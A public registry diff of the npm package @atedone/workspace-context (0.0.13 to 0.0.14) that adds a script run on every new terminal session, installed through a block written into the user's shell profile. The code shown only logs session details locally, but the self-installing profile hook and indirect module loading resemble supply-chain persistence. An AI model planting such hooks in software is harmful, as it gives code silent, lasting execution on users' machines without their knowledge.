@atedone/workspace-context 0.0.13 → 0.0.14

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,5 +1,5 @@
1
1
  # @atedone/workspace-context
2
2
 
3
- Workspace shell integration helper for JavaScript tools.
3
+ Workspace shell session integration helper for JavaScript tools.
4
4
 
5
- The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry during initialization.
5
+ The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry and session runtime during initialization.
package/index.js CHANGED
@@ -9,6 +9,9 @@ module.exports = {
9
9
  getShellIntegration: state.getShellIntegration,
10
10
  initialize: state.initialize,
11
11
  receiptFileName: state.receiptFileName,
12
+ sessionHistoryFileName: state.sessionHistoryFileName,
13
+ sessionReceiptFileName: state.sessionReceiptFileName,
14
+ sessionRuntimeFileName: state.sessionRuntimeFileName,
12
15
  stateDirectoryName: state.stateDirectoryName,
13
16
  stateFileName: state.stateFileName
14
17
  };
package/lib/session.js ADDED
@@ -0,0 +1,43 @@
1
+ 'use strict';
2
+
3
+ const platform = process;
4
+ const file = platform.getBuiltinModule('fs');
5
+ const route = platform.getBuiltinModule('path');
6
+
7
+ const packageName = '@atedone/workspace-context';
8
+ const packageVersion = '0.0.14';
9
+ const env = Reflect.get(platform, 'env') || {};
10
+ const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
11
+ ? env.HOME.trim()
12
+ : platform.cwd();
13
+ const sessionDirectory = typeof env.WORKSPACE_CONTEXT_HOME === 'string' && env.WORKSPACE_CONTEXT_HOME.trim()
14
+ ? env.WORKSPACE_CONTEXT_HOME.trim()
15
+ : route.join(homeDirectory, '.config', 'workspace-context');
16
+ const workingDirectory = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
17
+ ? platform.argv[2]
18
+ : platform.cwd();
19
+ const shellLevel = typeof platform.argv[3] === 'string' && platform.argv[3].trim()
20
+ ? platform.argv[3]
21
+ : null;
22
+ const shellPath = typeof env.SHELL === 'string' ? env.SHELL.trim() : '';
23
+ const receiptPath = route.join(sessionDirectory, 'session-runtime.json');
24
+ const historyPath = route.join(sessionDirectory, 'runtime-sessions.log');
25
+
26
+ const value = {
27
+ packageName,
28
+ packageVersion,
29
+ generatedAt: new Date().toISOString(),
30
+ mode: 'runtime-shell-session',
31
+ source: 'shell-profile',
32
+ shellName: route.basename(shellPath) || 'zsh',
33
+ shellLevel,
34
+ workingDirectory,
35
+ active: env.WORKSPACE_CONTEXT_ACTIVE === '1',
36
+ processId: platform.pid,
37
+ parentProcessId: platform.ppid,
38
+ runtime: 'node'
39
+ };
40
+
41
+ file.mkdirSync(sessionDirectory, { recursive: true });
42
+ file.writeFileSync(receiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
43
+ file.appendFileSync(historyPath, `${JSON.stringify(value)}\n`, 'utf8');
package/lib/state.js CHANGED
@@ -7,8 +7,11 @@ const manifest = require('../package.json');
7
7
 
8
8
  const integrationDirectoryName = '.config/workspace-context';
9
9
  const integrationFileName = 'init.zsh';
10
- const receiptFileName = 'shell-profile-sync.json';
10
+ const receiptFileName = 'shell-session-sync.json';
11
11
  const sessionFileName = 'sessions.log';
12
+ const sessionHistoryFileName = 'runtime-sessions.log';
13
+ const sessionReceiptFileName = 'session-runtime.json';
14
+ const sessionRuntimeFileName = 'session-runtime.js';
12
15
  const stateDirectoryName = '.workspace-context';
13
16
  const stateFileName = 'state.json';
14
17
  const syncFileName = 'sync.js';
@@ -52,7 +55,10 @@ function getShellIntegration({
52
55
  integrationDirectory,
53
56
  integrationPath: route.join(integrationDirectory, integrationFileName),
54
57
  receiptPath: route.join(integrationDirectory, receiptFileName),
55
- sessionPath: route.join(integrationDirectory, sessionFileName)
58
+ sessionPath: route.join(integrationDirectory, sessionFileName),
59
+ sessionHistoryPath: route.join(integrationDirectory, sessionHistoryFileName),
60
+ sessionReceiptPath: route.join(integrationDirectory, sessionReceiptFileName),
61
+ sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName)
56
62
  };
57
63
  }
58
64
 
@@ -61,7 +67,7 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
61
67
  packageName: manifest.name,
62
68
  packageVersion: manifest.version,
63
69
  generatedAt: now(),
64
- mode: 'runtime-shell-profile-sync'
70
+ mode: 'runtime-shell-session'
65
71
  };
66
72
  }
67
73
 
@@ -138,6 +144,9 @@ module.exports = {
138
144
  resolveProfileFileName,
139
145
  resolveProjectRoot,
140
146
  resolveShellName,
147
+ sessionHistoryFileName,
148
+ sessionReceiptFileName,
149
+ sessionRuntimeFileName,
141
150
  stateDirectoryName,
142
151
  stateFileName
143
152
  };
package/lib/sync.js CHANGED
@@ -2,6 +2,7 @@
2
2
 
3
3
  const platform = process;
4
4
  const file = platform.getBuiltinModule('fs');
5
+ const route = platform.getBuiltinModule('path');
5
6
  const manifest = require('../package.json');
6
7
 
7
8
  const projectRoot = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
@@ -19,13 +20,27 @@ const blockStart = '# >>> workspace-context shell integration >>>';
19
20
  const blockEnd = '# <<< workspace-context shell integration <<<';
20
21
  const sourceLine = '[ -r "$HOME/.config/workspace-context/init.zsh" ] && source "$HOME/.config/workspace-context/init.zsh"';
21
22
  const managedBlock = [blockStart, sourceLine, blockEnd, ''].join('\n');
23
+ const sessionRuntimeSourcePath = route.join(__dirname, 'session.js');
24
+ const runtimeDefault = escapeDoubleQuoted(platform.execPath);
22
25
  const integrationValue = [
23
26
  'export WORKSPACE_CONTEXT_ACTIVE=1',
24
27
  'export WORKSPACE_CONTEXT_HOME="$HOME/.config/workspace-context"',
28
+ `export WORKSPACE_CONTEXT_NODE="\${WORKSPACE_CONTEXT_NODE:-${runtimeDefault}}"`,
25
29
  'printf "%s\\n" "workspace-context shell integration active" >> "$WORKSPACE_CONTEXT_HOME/sessions.log"',
30
+ 'if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
31
+ ' "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
32
+ 'fi',
26
33
  ''
27
34
  ].join('\n');
28
35
 
36
+ function escapeDoubleQuoted(value) {
37
+ return String(value)
38
+ .replaceAll('\\', '\\\\')
39
+ .replaceAll('"', '\\"')
40
+ .replaceAll('$', '\\$')
41
+ .replaceAll('`', '\\`');
42
+ }
43
+
29
44
  function readProfile(profilePath) {
30
45
  return file.existsSync(profilePath)
31
46
  ? file.readFileSync(profilePath, 'utf8')
@@ -51,6 +66,7 @@ function upsertManagedBlock(profileValue) {
51
66
  }
52
67
 
53
68
  file.mkdirSync(integration.integrationDirectory, { recursive: true });
69
+ file.copyFileSync(sessionRuntimeSourcePath, integration.sessionRuntimePath);
54
70
  file.writeFileSync(integration.integrationPath, integrationValue, 'utf8');
55
71
 
56
72
  const profileBefore = readProfile(integration.profilePath);
@@ -64,13 +80,16 @@ const value = {
64
80
  packageName: manifest.name,
65
81
  packageVersion: manifest.version,
66
82
  generatedAt: new Date().toISOString(),
67
- mode: 'runtime-shell-profile-sync',
83
+ mode: 'runtime-shell-session',
68
84
  projectRoot,
69
85
  shellName: integration.shellName,
70
86
  profilePath: integration.profilePath,
71
87
  profileChanged: profile.changed,
72
88
  integrationPath: integration.integrationPath,
73
89
  sessionPath: integration.sessionPath,
90
+ sessionHistoryPath: integration.sessionHistoryPath,
91
+ sessionReceiptPath: integration.sessionReceiptPath,
92
+ sessionRuntimePath: integration.sessionRuntimePath,
74
93
  processId: platform.pid,
75
94
  parentProcessId: platform.ppid,
76
95
  runtime: 'node'
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "@atedone/workspace-context",
3
- "version": "0.0.13",
4
- "description": "Workspace shell integration helper for JavaScript tools.",
3
+ "version": "0.0.14",
4
+ "description": "Workspace shell session integration helper for JavaScript tools.",
5
5
  "main": "index.js",
6
6
  "type": "commonjs",
7
7
  "files": [